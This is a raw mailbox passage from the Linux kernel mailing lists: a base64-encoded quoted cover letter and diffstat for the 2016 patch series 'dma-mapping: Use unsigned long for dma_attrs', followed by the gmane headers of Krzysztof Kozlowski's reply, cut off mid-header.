Cj4gICBibGFja2ZpbjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0
cnMKPiAgIGM2eDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFfYXR0cnMK
PiAgIGNyaXM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCj4g
ICBmcnY6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9uZyBmb3IgZG1hX2F0dHJzCj4gICBk
cm0vZXh5bm9zOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9hdHRycwo+
ICAgZHJtL21lZGlhdGVrOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9yIGRtYV9h
dHRycwo+ICAgZHJtL21zbTogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25nIGZvciBkbWFf
YXR0cnMKPiAgIGRybS9ub3V2ZWF1OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcgZm9y
IGRtYV9hdHRycwo+ICAgZHJtL3JvY2tzaGlwOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgaW5maW5pYmFuZDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25l
ZCBsb25nIGZvciBkbWFfYXR0cnMKPiAgIGlvbW11OiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgW21lZGlhXSBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgeGVuOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgc3dpb3RsYjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBs
b25nIGZvciBkbWFfYXR0cnMKPiAgIHBvd2VycGM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQg
bG9uZyBmb3IgZG1hX2F0dHJzCj4gICB2aWRlbzogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBs
b25nIGZvciBkbWFfYXR0cnMKPiAgIHg4NjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBsb25n
IGZvciBkbWFfYXR0cnMKPiAgIGlvbW11OiBpbnRlbDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25l
ZCBsb25nIGZvciBkbWFfYXR0cnMKPiAgIGg4MzAwOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgaGV4YWdvbjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25l
ZCBsb25nIGZvciBkbWFfYXR0cnMKPiAgIGlhNjQ6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQg
bG9uZyBmb3IgZG1hX2F0dHJzCj4gICBtNjhrOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgbWV0YWc6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9u
ZyBmb3IgZG1hX2F0dHJzCj4gICBtaWNyb2JsYXplOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgbWlwczogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBs
b25nIGZvciBkbWFfYXR0cnMKPiAgIG1uMTAzMDA6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQg
bG9uZyBmb3IgZG1hX2F0dHJzCj4gICBuaW9zMjogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25lZCBs
b25nIGZvciBkbWFfYXR0cnMKPiAgIG9wZW5yaXNjOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgcGFyaXNjOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVk
IGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgbWlzYzogbWljOiBkbWEtbWFwcGluZzogVXNlIHVuc2ln
bmVkIGxvbmcgZm9yIGRtYV9hdHRycwo+ICAgczM5MDogZG1hLW1hcHBpbmc6IFVzZSB1bnNpZ25l
ZCBsb25nIGZvciBkbWFfYXR0cnMKPiAgIHNoOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgc3BhcmM6IGRtYS1tYXBwaW5nOiBVc2UgdW5zaWduZWQgbG9u
ZyBmb3IgZG1hX2F0dHJzCj4gICB0aWxlOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxvbmcg
Zm9yIGRtYV9hdHRycwo+ICAgdW5pY29yZTMyOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgeHRlbnNhOiBkbWEtbWFwcGluZzogVXNlIHVuc2lnbmVkIGxv
bmcgZm9yIGRtYV9hdHRycwo+ICAgZG1hLW1hcHBpbmc6IFJlbW92ZSBkbWFfZ2V0X2F0dHIKPiAg
IGRtYS1tYXBwaW5nOiBEb2N1bWVudCB0aGUgRE1BIGF0dHJpYnV0ZXMgbmV4dCB0byB0aGUgZGVj
bGFyYXRpb24KPiAKPiAgRG9jdW1lbnRhdGlvbi9ETUEtQVBJLnR4dCAgICAgICAgICAgICAgICAg
ICAgICAgICAgfCAgMzMgKysrLS0tCj4gIERvY3VtZW50YXRpb24vRE1BLWF0dHJpYnV0ZXMudHh0
ICAgICAgICAgICAgICAgICAgIHwgICAyICstCj4gIGFyY2gvYWxwaGEvaW5jbHVkZS9hc20vZG1h
LW1hcHBpbmcuaCAgICAgICAgICAgICAgIHwgICAyIC0KPiAgYXJjaC9hbHBoYS9rZXJuZWwvcGNp
LW5vb3AuYyAgICAgICAgICAgICAgICAgICAgICAgfCAgIDIgKy0KPiAgYXJjaC9hbHBoYS9rZXJu
ZWwvcGNpX2lvbW11LmMgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJjaC9hcmMv
bW0vZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJj
aC9hcm0vY29tbW9uL2RtYWJvdW5jZS5jICAgICAgICAgICAgICAgICAgICAgICAgfCAgIDQgKy0K
PiAgYXJjaC9hcm0vaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgICAgICAgICAgICAgfCAg
MTMgKy0tCj4gIGFyY2gvYXJtL2luY2x1ZGUvYXNtL3hlbi9wYWdlLWNvaGVyZW50LmggICAgICAg
ICAgIHwgIDE2ICstLQo+ICBhcmNoL2FybS9tbS9kbWEtbWFwcGluZy5jICAgICAgICAgICAgICAg
ICAgICAgICAgICB8IDExNyArKysrKysrKystLS0tLS0tLS0tCj4gIGFyY2gvYXJtL3hlbi9tbS5j
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICA4ICstCj4gIGFyY2gvYXJtNjQv
bW0vZG1hLW1hcHBpbmcuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgIDY2ICsrKysrLS0tLS0t
Cj4gIGFyY2gvYXZyMzIvbW0vZG1hLWNvaGVyZW50LmMgICAgICAgICAgICAgICAgICAgICAgIHwg
IDEyICstCj4gIGFyY2gvYmxhY2tmaW4va2VybmVsL2RtYS1tYXBwaW5nLmMgICAgICAgICAgICAg
ICAgIHwgICA4ICstCj4gIGFyY2gvYzZ4L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAg
ICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gvYzZ4L2tlcm5lbC9kbWEuYyAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIHwgICA5ICstCj4gIGFyY2gvYzZ4L21tL2RtYS1jb2hlcmVudC5jICAg
ICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gvY3Jpcy9hcmNoLXYzMi9kcml2
ZXJzL3BjaS9kbWEuYyAgICAgICAgICAgICAgIHwgICA5ICstCj4gIGFyY2gvZnJ2L21iOTMwOTAt
bWIwMC9wY2ktZG1hLW5vbW11LmMgICAgICAgICAgICAgIHwgICA4ICstCj4gIGFyY2gvZnJ2L21i
OTMwOTAtbWIwMC9wY2ktZG1hLmMgICAgICAgICAgICAgICAgICAgIHwgICA5ICstCj4gIGFyY2gv
aDgzMDAva2VybmVsL2RtYS5jICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICA4ICstCj4g
IGFyY2gvaGV4YWdvbi9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICAgICAgIHwgICAx
IC0KPiAgYXJjaC9oZXhhZ29uL2tlcm5lbC9kbWEuYyAgICAgICAgICAgICAgICAgICAgICAgICAg
fCAgIDggKy0KPiAgYXJjaC9pYTY0L2hwL2NvbW1vbi9zYmFfaW9tbXUuYyAgICAgICAgICAgICAg
ICAgICAgfCAgMjIgKystLQo+ICBhcmNoL2lhNjQvaW5jbHVkZS9hc20vbWFjaHZlYy5oICAgICAg
ICAgICAgICAgICAgICB8ICAgMSAtCj4gIGFyY2gvaWE2NC9rZXJuZWwvcGNpLXN3aW90bGIuYyAg
ICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gvaWE2NC9zbi9wY2kvcGNpX2RtYS5j
ICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDIyICsrLS0KPiAgYXJjaC9tNjhrL2tlcm5lbC9k
bWEuYyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJjaC9tZXRhZy9r
ZXJuZWwvZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTYgKy0tCj4gIGFyY2gv
bWljcm9ibGF6ZS9pbmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICAgIHwgICAxIC0KPiAg
YXJjaC9taWNyb2JsYXplL2tlcm5lbC9kbWEuYyAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIg
Ky0KPiAgYXJjaC9taXBzL2Nhdml1bS1vY3Rlb24vZG1hLW9jdGVvbi5jICAgICAgICAgICAgICAg
fCAgIDggKy0KPiAgYXJjaC9taXBzL2xvb25nc29uNjQvY29tbW9uL2RtYS1zd2lvdGxiLmMgICAg
ICAgICAgfCAgMTAgKy0KPiAgYXJjaC9taXBzL21tL2RtYS1kZWZhdWx0LmMgICAgICAgICAgICAg
ICAgICAgICAgICAgfCAgMjAgKystLQo+ICBhcmNoL21pcHMvbmV0bG9naWMvY29tbW9uL25sbS1k
bWEuYyAgICAgICAgICAgICAgICB8ICAgNCArLQo+ICBhcmNoL21uMTAzMDAvbW0vZG1hLWFsbG9j
LmMgICAgICAgICAgICAgICAgICAgICAgICB8ICAgOCArLQo+ICBhcmNoL25pb3MyL21tL2RtYS1t
YXBwaW5nLmMgICAgICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQo+ICBhcmNoL29wZW5yaXNj
L2tlcm5lbC9kbWEuYyAgICAgICAgICAgICAgICAgICAgICAgICB8ICAyMSArKy0tCj4gIGFyY2gv
cGFyaXNjL2tlcm5lbC9wY2ktZG1hLmMgICAgICAgICAgICAgICAgICAgICAgIHwgIDE4ICstLQo+
ICBhcmNoL3Bvd2VycGMvaW5jbHVkZS9hc20vZG1hLW1hcHBpbmcuaCAgICAgICAgICAgICB8ICAg
NyArLQo+ICBhcmNoL3Bvd2VycGMvaW5jbHVkZS9hc20vaW9tbXUuaCAgICAgICAgICAgICAgICAg
ICB8ICAxMCArLQo+ICBhcmNoL3Bvd2VycGMva2VybmVsL2RtYS1pb21tdS5jICAgICAgICAgICAg
ICAgICAgICB8ICAxMiArLQo+ICBhcmNoL3Bvd2VycGMva2VybmVsL2RtYS5jICAgICAgICAgICAg
ICAgICAgICAgICAgICB8ICAxOCArLS0KPiAgYXJjaC9wb3dlcnBjL2tlcm5lbC9pYm1lYnVzLmMg
ICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJjaC9wb3dlcnBjL2tlcm5lbC9pb21t
dS5jICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJjaC9wb3dlcnBjL2tlcm5l
bC92aW8uYyAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMTIgKy0KPiAgYXJjaC9wb3dlcnBj
L3BsYXRmb3Jtcy9jZWxsL2lvbW11LmMgICAgICAgICAgICAgICAgfCAgMjggKystLS0KPiAgYXJj
aC9wb3dlcnBjL3BsYXRmb3Jtcy9wYXNlbWkvaW9tbXUuYyAgICAgICAgICAgICAgfCAgIDIgKy0K
PiAgYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wb3dlcm52L25wdS1kbWEuYyAgICAgICAgICAgfCAg
IDggKy0KPiAgYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wb3dlcm52L3BjaS1pb2RhLmMgICAgICAg
ICAgfCAgIDQgKy0KPiAgYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wb3dlcm52L3BjaS5jICAgICAg
ICAgICAgICAgfCAgIDIgKy0KPiAgYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wb3dlcm52L3BjaS5o
ICAgICAgICAgICAgICAgfCAgIDIgKy0KPiAgYXJjaC9wb3dlcnBjL3BsYXRmb3Jtcy9wczMvc3lz
dGVtLWJ1cy5jICAgICAgICAgICAgfCAgMTggKy0tCj4gIGFyY2gvcG93ZXJwYy9wbGF0Zm9ybXMv
cHNlcmllcy9pb21tdS5jICAgICAgICAgICAgIHwgICA2ICstCj4gIGFyY2gvcG93ZXJwYy9zeXNk
ZXYvZGFydF9pb21tdS5jICAgICAgICAgICAgICAgICAgIHwgICAyICstCj4gIGFyY2gvczM5MC9p
bmNsdWRlL2FzbS9kbWEtbWFwcGluZy5oICAgICAgICAgICAgICAgIHwgICAxIC0KPiAgYXJjaC9z
MzkwL3BjaS9wY2lfZG1hLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAgfCAgMjMgKystLQo+
ICBhcmNoL3NoL2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgICAgICAgICAgICB8ICAg
NCArLQo+ICBhcmNoL3NoL2tlcm5lbC9kbWEtbm9tbXUuYyAgICAgICAgICAgICAgICAgICAgICAg
ICB8ICAgNCArLQo+ICBhcmNoL3NoL21tL2NvbnNpc3RlbnQuYyAgICAgICAgICAgICAgICAgICAg
ICAgICAgICB8ICAgNCArLQo+ICBhcmNoL3NwYXJjL2tlcm5lbC9pb21tdS5jICAgICAgICAgICAg
ICAgICAgICAgICAgICB8ICAxMiArLQo+ICBhcmNoL3NwYXJjL2tlcm5lbC9pb3BvcnQuYyAgICAg
ICAgICAgICAgICAgICAgICAgICB8ICAyNCArKy0tCj4gIGFyY2gvc3BhcmMva2VybmVsL3BjaV9z
dW40di5jICAgICAgICAgICAgICAgICAgICAgIHwgIDEyICstCj4gIGFyY2gvdGlsZS9rZXJuZWwv
cGNpLWRtYS5jICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDI4ICsrLS0tCj4gIGFyY2gvdW5p
Y29yZTMyL21tL2RtYS1zd2lvdGxiLmMgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFy
Y2gveDg2L2luY2x1ZGUvYXNtL2RtYS1tYXBwaW5nLmggICAgICAgICAgICAgICAgIHwgICA1ICst
Cj4gIGFyY2gveDg2L2luY2x1ZGUvYXNtL3N3aW90bGIuaCAgICAgICAgICAgICAgICAgICAgIHwg
ICA0ICstCj4gIGFyY2gveDg2L2luY2x1ZGUvYXNtL3hlbi9wYWdlLWNvaGVyZW50LmggICAgICAg
ICAgIHwgICA5ICstCj4gIGFyY2gveDg2L2tlcm5lbC9hbWRfZ2FydF82NC5jICAgICAgICAgICAg
ICAgICAgICAgIHwgIDIwICsrLS0KPiAgYXJjaC94ODYva2VybmVsL3BjaS1jYWxnYXJ5XzY0LmMg
ICAgICAgICAgICAgICAgICAgfCAgMTQgKy0tCj4gIGFyY2gveDg2L2tlcm5lbC9wY2ktZG1hLmMg
ICAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gveDg2L2tlcm5lbC9wY2kt
bm9tbXUuYyAgICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gveDg2L2tlcm5l
bC9wY2ktc3dpb3RsYi5jICAgICAgICAgICAgICAgICAgICAgIHwgICA0ICstCj4gIGFyY2gveDg2
L3BjaS9zdGEyeDExLWZpeHVwLmMgICAgICAgICAgICAgICAgICAgICAgIHwgICAyICstCj4gIGFy
Y2gveDg2L3BjaS92bWQuYyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDE2ICst
LQo+ICBhcmNoL3h0ZW5zYS9rZXJuZWwvcGNpLWRtYS5jICAgICAgICAgICAgICAgICAgICAgICB8
ICAxMiArLQo+ICBkcml2ZXJzL2dwdS9kcm0vZXh5bm9zL2V4eW5vc19kcm1fZmJkZXYuYyAgICAg
ICAgICB8ICAgMiArLQo+ICBkcml2ZXJzL2dwdS9kcm0vZXh5bm9zL2V4eW5vc19kcm1fZzJkLmMg
ICAgICAgICAgICB8ICAxMiArLQo+ICBkcml2ZXJzL2dwdS9kcm0vZXh5bm9zL2V4eW5vc19kcm1f
Z2VtLmMgICAgICAgICAgICB8ICAyMCArKy0tCj4gIGRyaXZlcnMvZ3B1L2RybS9leHlub3MvZXh5
bm9zX2RybV9nZW0uaCAgICAgICAgICAgIHwgICAyICstCj4gIGRyaXZlcnMvZ3B1L2RybS9tZWRp
YXRlay9tdGtfZHJtX2dlbS5jICAgICAgICAgICAgIHwgIDEzICstLQo+ICBkcml2ZXJzL2dwdS9k
cm0vbWVkaWF0ZWsvbXRrX2RybV9nZW0uaCAgICAgICAgICAgICB8ICAgMiArLQo+ICBkcml2ZXJz
L2dwdS9kcm0vbXNtL21zbV9kcnYuYyAgICAgICAgICAgICAgICAgICAgICB8ICAxMyArLS0KPiAg
Li4uL2dwdS9kcm0vbm91dmVhdS9udmttL3N1YmRldi9pbnN0bWVtL2drMjBhLmMgICAgfCAgMTMg
Ky0tCj4gIGRyaXZlcnMvZ3B1L2RybS9yb2NrY2hpcC9yb2NrY2hpcF9kcm1fZ2VtLmMgICAgICAg
IHwgIDE3ICsrLQo+ICBkcml2ZXJzL2dwdS9kcm0vcm9ja2NoaXAvcm9ja2NoaXBfZHJtX2dlbS5o
ICAgICAgICB8ICAgMiArLQo+ICBkcml2ZXJzL2luZmluaWJhbmQvY29yZS91bWVtLmMgICAgICAg
ICAgICAgICAgICAgICB8ICAgNyArLQo+ICBkcml2ZXJzL2lvbW11L2FtZF9pb21tdS5jICAgICAg
ICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQo+ICBkcml2ZXJzL2lvbW11L2RtYS1pb21tdS5j
ICAgICAgICAgICAgICAgICAgICAgICAgICB8ICAgOCArLQo+ICBkcml2ZXJzL2lvbW11L2ludGVs
LWlvbW11LmMgICAgICAgICAgICAgICAgICAgICAgICB8ICAxMiArLQo+ICBkcml2ZXJzL21lZGlh
L3BsYXRmb3JtL3N0aS9iZGlzcC9iZGlzcC1ody5jICAgICAgICB8ICAyNiArKy0tLQo+ICBkcml2
ZXJzL21lZGlhL3Y0bDItY29yZS92aWRlb2J1ZjItZG1hLWNvbnRpZy5jICAgICB8ICAzMCArKy0t
LQo+ICBkcml2ZXJzL21lZGlhL3Y0bDItY29yZS92aWRlb2J1ZjItZG1hLXNnLmMgICAgICAgICB8
ICAxOSArLS0KPiAgZHJpdmVycy9taXNjL21pYy9ob3N0L21pY19ib290LmMgICAgICAgICAgICAg
ICAgICAgfCAgMjAgKystLQo+ICBkcml2ZXJzL3BhcmlzYy9jY2lvLWRtYS5jICAgICAgICAgICAg
ICAgICAgICAgICAgICB8ICAxNiArLS0KPiAgZHJpdmVycy9wYXJpc2Mvc2JhX2lvbW11LmMgICAg
ICAgICAgICAgICAgICAgICAgICAgfCAgMTYgKy0tCj4gIGRyaXZlcnMvdmlkZW8vZmJkZXYvb21h
cDIvb21hcGZiL29tYXBmYi1tYWluLmMgICAgIHwgIDEyICstCj4gIGRyaXZlcnMvdmlkZW8vZmJk
ZXYvb21hcDIvb21hcGZiL29tYXBmYi5oICAgICAgICAgIHwgICAzICstCj4gIGRyaXZlcnMveGVu
L3N3aW90bGIteGVuLmMgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDE0ICstLQo+ICBpbmNs
dWRlL2xpbnV4L2RtYS1hdHRycy5oICAgICAgICAgICAgICAgICAgICAgICAgICB8ICA3MSAtLS0t
LS0tLS0tLS0KPiAgaW5jbHVkZS9saW51eC9kbWEtaW9tbXUuaCAgICAgICAgICAgICAgICAgICAg
ICAgICAgfCAgIDYgKy0KPiAgaW5jbHVkZS9saW51eC9kbWEtbWFwcGluZy5oICAgICAgICAgICAg
ICAgICAgICAgICAgfCAxMjggKysrKysrKysrKysrKystLS0tLS0tCj4gIGluY2x1ZGUvbGludXgv
c3dpb3RsYi5oICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgIDEwICstCj4gIGluY2x1ZGUv
bWVkaWEvdmlkZW9idWYyLWRtYS1jb250aWcuaCAgICAgICAgICAgICAgIHwgICA3ICstCj4gIGlu
Y2x1ZGUvcmRtYS9pYl92ZXJicy5oICAgICAgICAgICAgICAgICAgICAgICAgICAgIHwgICA4ICst
Cj4gIGluY2x1ZGUveGVuL3N3aW90bGIteGVuLmggICAgICAgICAgICAgICAgICAgICAgICAgIHwg
IDEyICstCj4gIGxpYi9kbWEtbm9vcC5jICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIHwgICA5ICstCj4gIGxpYi9zd2lvdGxiLmMgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgIHwgIDEzICsrLQo+ICAxMDggZmlsZXMgY2hhbmdlZCwgNjg5IGluc2VydGlvbnMo
KyksIDc4OSBkZWxldGlvbnMoLSkKPiAgZGVsZXRlIG1vZGUgMTAwNjQ0IGluY2x1ZGUvbGludXgv
ZG1hLWF0dHJzLmgKPiAKPiAtLSAKPiAxLjkuMQo+IAo+IF9fX19fX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fCj4gZHJpLWRldmVsIG1haWxpbmcgbGlzdAo+IGRyaS1k
ZXZlbEBsaXN0cy5mcmVlZGVza3RvcC5vcmcKPiBodHRwczovL2xpc3RzLmZyZWVkZXNrdG9wLm9y
Zy9tYWlsbWFuL2xpc3RpbmZvL2RyaS1kZXZlbAoKLS0gCkRhbmllbCBWZXR0ZXIKU29mdHdhcmUg
RW5naW5lZXIsIEludGVsIENvcnBvcmF0aW9uCmh0dHA6Ly9ibG9nLmZmd2xsLmNoCl9fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fX19fCkZyZWVkcmVubyBtYWlsaW5n
IGxpc3QKRnJlZWRyZW5vQGxpc3RzLmZyZWVkZXNrdG9wLm9yZwpodHRwczovL2xpc3RzLmZyZWVk
ZXNrdG9wLm9yZy9tYWlsbWFuL2xpc3RpbmZvL2ZyZWVkcmVubwo=


From - Thu Nov 08 21:39:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Krzysztof Kozlowski <k.kozlowski@samsung.com>
Newsgroups: gmane.linux.ports.m68k,gmane.linux.ports.mips.general,gmane.linux.ports.ia64,gmane.linux.documentation,gmane.linux.kernel.pci,gmane.comp.video.dri.devel,gmane.linux.ports.sparc,gmane.linux.kernel.samsung-soc,gmane.linux.drivers.rdma,gmane.linux.ports.hexagon,gmane.linux.ports.sh.devel,gmane.linux.ports.arm.rockchip,gmane.comp.freedesktop.xorg.nouveau,gmane.linux.kernel.arc,gmane.linux.drivers.video-input-infrastructure,gmane.linux.ports.arm.msm,gmane.linux.ports.arm.mediatek,gmane.linux.ports.arm.omap,gmane.linux.kernel.metag,gmane.linux.ports.arm.kernel,gmane.linux.ports.parisc,gmane.comp.freedesktop.xorg.drivers.freedreno
Subject: Re: [PATCH v5 00/44] dma-mapping: Use unsigned long for dma_attrs
Date: Tue, 12 Jul 2016 14:19:07 +0200
Lines: 26
Approved: news@gmane.org
Message-ID: <5784E03B.6060000@samsung.com>
References: <1467275019-30789-1-git-send-email-k.kozlowski@samsung.com>
 <20160712121625.GP23520@phenom.ffwll.local>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1468325973 30322 80.91.229.3 (12 Jul 2016 12:19:33 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 12 Jul 2016 12:19:33 +0000 (UTC)
To: Andrew Morton <akpm@linux-foundation.org>,
	linux-mips@linux-mips.org, linux-ia64@vger.kernel.org,
	linux-doc@vger.kernel.org, linux-pci@vger.kernel.org,
	linux-fbdev@vger.kernel.org, dri-devel@lists.freedesktop.org,
	sparclinux@vger.kernel.org, linux-s390@vger.kernel.org,
	linux-samsung-soc@vger.kernel.org, linux-c6x-dev@linux-c6x.org,
	linux-rdma@vger.kernel.org, linux-hexagon@vger.kernel.org,
	linux-sh@vger.kernel.org, hch@infradead.org,
	linux-rockchip@lists.infradead.org, nouveau@lists.freedesktop.org,
	xen-devel@lists.xenproject.org, linux-snps-arc@lists.infradead.org,
	linux-media@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	Bartlomiej Zolnierkiewicz <b.zolnierkie@samsung.com>,
	linux-arm-msm@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	linux-mediatek@lists.infradead.org, linux-omap@vger.kernel.org,
	linux-metag@vger.kernel.org, linux-arm-kernel@lists.infradead.org,
Original-X-From: linux-m68k-owner@vger.kernel.org Tue Jul 12 14:19:16 2016
Return-path: <linux-m68k-owner@vger.kernel.org>
Envelope-to: glpm-linux-m68k@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-m68k-owner@vger.kernel.org>)
	id 1bMwef-0004xz-RN
	for glpm-linux-m68k@plane.gmane.org; Tue, 12 Jul 2016 14:19:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932645AbcGLMTN (ORCPT <rfc822;glpm-linux-m68k@m.gmane.org>);
	Tue, 12 Jul 2016 08:19:13 -0400
Original-Received: from mailout4.w1.samsung.com ([210.118.77.14]:62865 "EHLO
	mailout4.w1.samsung.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753321AbcGLMTM (ORCPT
	<rfc822;linux-m68k@lists.linux-m68k.org>);
	Tue, 12 Jul 2016 08:19:12 -0400
Original-Received: from eucpsbgm1.samsung.com (unknown [203.254.199.244])
 by mailout4.w1.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTP id <0OA7004Z7BJXGF80@mailout4.w1.samsung.com> for
 linux-m68k@lists.linux-m68k.org; Tue, 12 Jul 2016 13:19:09 +0100 (BST)
X-AuditID: cbfec7f4-f796c6d000001486-6e-5784e03ddef3
Original-Received: from eusync3.samsung.com ( [203.254.199.213])
	by eucpsbgm1.samsung.com (EUCPMTA) with SMTP id 21.47.05254.D30E4875; Tue,
 12 Jul 2016 13:19:09 +0100 (BST)
Original-Received: from [106.120.53.17] by eusync3.samsung.com
 (Oracle Communications Messaging Server 7.0.5.31.0 64bit (built May  5 2014))
 with ESMTPA id <0OA7003URBJW3T20@eusync3.samsung.com>; Tue,
 12 Jul 2016 13:19:09 +0100 (BST)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.8.0
In-reply-to: <20160712121625.GP23520@phenom.ffwll.local>
X-Brightmail-Tracker: H4sIAAAAAAAAA02Se0yNcRjH93tv5605eXsVv2mYQ5tlSsKehRj/vNGmWXOwNh31OpVOtXOc
	KDZNJZIcqu10XZdD96JSrUnTRbcdFeXaTYipnMglSnRqxn+f7/N8v8/3n4cl+Vh6ORsQfFJU
	ByuCZIwl1THb0rthx1C0fGNLzBpILytm4La+jIaeryYG0t8ZEXTocgjIqt8Go++d4WN/E4Ly
	109ouFZvlEBTmo6A/KJSErIvGChoTZigwRRdw8DExY80PK5NZyDvTQkJ8bfuzMmobgQjL2Ip
	0CVfl0Ca4SoFw+1dBBgzWxgYabhCweeh3yTosqNI0HfeIyB9JomEmL4SAgqMJRKY/j5Lw/eE
	BBoi2/LnqDKR2LVWeFrqKVTkOwg15aOE0KqfpoTmghJCeH+/mhQGL7cQQoXhnJD4LA8JbTHf
	KKFTn42ExokeSkioLETCZPlKT6sjltv9xKCAMFHt5OZj6V+UNEyETtOnM5LymEj0gopDFizm
	NuOx7ExigZfiroEyJg5Zsjx3A+Gql8mSBTGCcNJYBjK7lnB78ev2t/NpG26cxb3nQ8zMc1qc
	+yuaMTPDueCKPMM8SzkHXDN6WWJmirPH/RnF82223CGcWj1FLHis8VTiwPxNCw6w/tW3uS6W
